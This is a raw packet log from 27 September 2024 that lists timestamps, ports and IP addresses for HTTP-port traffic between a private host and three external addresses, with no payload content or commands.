Sep 27, 2024 16:18:10.236231089 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236255884 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236264944 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236289978 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236295938 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236325026 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236332893 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236356974 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236367941 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236391068 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236393929 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236422062 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236434937 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236454964 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236463070 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236488104 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236498117 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236521959 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236532927 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236555099 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236566067 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236588955 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236599922 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236623049 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236629009 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236664057 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.317862034 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.317899942 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.317934990 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.317982912 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.317987919 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318016052 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318016052 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318048000 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318061113 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318080902 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318106890 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318114996 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318140984 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318176031 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318331003 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318363905 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318396091 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318447113 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318480015 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318511009 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318545103 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318567038 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318573952 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318609953 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318612099 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318639040 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318660975 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318681955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318692923 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318715096 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318725109 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318737984 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318758011 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318773985 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318790913 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318809986 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318841934 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.318907022 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318938971 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318972111 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.318975925 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319008112 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319008112 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319008112 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319053888 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319344044 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319375038 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319407940 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319428921 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319462061 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319473982 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319482088 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319494009 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319513083 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319526911 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319533110 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319566011 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319567919 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319608927 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319616079 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319648027 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319668055 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319694996 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319710016 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319730043 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319737911 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319765091 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319777966 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319797993 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319808006 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319830894 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319844007 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319864035 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319871902 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319900036 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.319910049 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.319945097 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:11.027682066 CEST	49604	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:11.028049946 CEST	49607	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:11.033101082 CEST	80	49604	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:11.033190966 CEST	80	49607	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:11.033193111 CEST	49604	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:11.033277988 CEST	49607	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:11.033425093 CEST	49607	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:11.038309097 CEST	80	49607	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:11.732356071 CEST	80	49607	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:11.732429981 CEST	49607	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:11.736792088 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:11.741864920 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:11.741944075 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:11.742079973 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:11.746978998 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.524889946 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.524964094 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.524993896 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525000095 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.525033951 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525034904 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.525049925 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525068045 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.525077105 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525101900 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.525108099 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525135994 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.525146008 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525177956 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525234938 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.525268078 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.525279999 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525300980 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.525310993 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.525345087 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.530062914 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.530096054 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.530112982 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.530138016 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.649554014 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.649594069 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.649629116 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.649627924 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.649703026 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.649703026 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.649739027 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.649791002 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.649833918 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.649863005 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.649883032 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.649908066 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650015116 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650064945 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650072098 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650099993 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650115967 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650162935 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650163889 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650212049 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650609016 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650660038 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650660038 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650692940 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650708914 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650728941 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650773048 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650804996 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.650825977 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.650854111 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.651338100 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.651401043 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.651407003 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.651444912 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.651458979 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.651499033 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.651529074 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.651562929 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.651577950 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.651616096 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.652152061 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.652201891 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.652209997 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.652251959 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.654648066 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.654681921 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.654706001 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.654736042 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.737087011 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.737139940 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.737165928 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.737201929 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.774873018 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.774909019 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.774944067 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.774945021 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.774979115 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775012016 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775013924 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775012016 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775047064 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775083065 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775129080 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775161982 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775178909 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775208950 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775253057 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775285006 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775309086 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775333881 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775335073 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775367975 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775401115 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775423050 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775432110 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775469065 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775542021 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775573969 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775595903 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775607109 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775614023 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775641918 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775662899 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775676012 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775685072 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775729895 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775804996 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775854111 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775872946 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775906086 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.775921106 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.775958061 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776057959 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776089907 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776110888 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776120901 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776132107 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776154041 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776170969 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776186943 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776200056 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776220083 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776235104 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776253939 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776276112 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776294947 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776612043 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776664019 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776700020 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776732922 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776751041 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776782990 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776783943 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776814938 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776829958 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776849031 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776869059 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776894093 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.776911974 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.776959896 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777000904 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777034044 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777065992 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777067900 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777087927 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777097940 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777111053 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777132034 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777143955 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777184963 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777549982 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777600050 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777600050 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777632952 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777646065 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777666092 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.777678967 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.777717113 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.862221003 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.862246990 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.862287998 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.862330914 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.899780989 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.899849892 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.899863958 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.899893999 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.899914026 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.899926901 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.899945021 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.899961948 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.899979115 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.899996042 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900021076 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900042057 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900053024 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900084972 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900099993 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900135994 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900201082 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900233030 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900250912 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900283098 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900285959 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900336027 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900351048 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900367975 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900381088 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900402069 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900410891 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900437117 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900455952 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900470972 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900491953 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900515079 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900599003 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900630951 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900641918 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900664091 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900676966 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900696039 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900706053 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900744915 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900785923 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900834084 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900835991 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900868893 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900882006 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900918961 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900930882 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.900979042 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.900980949 CEST	80	49609	185.215.113.26	192.168.2.6
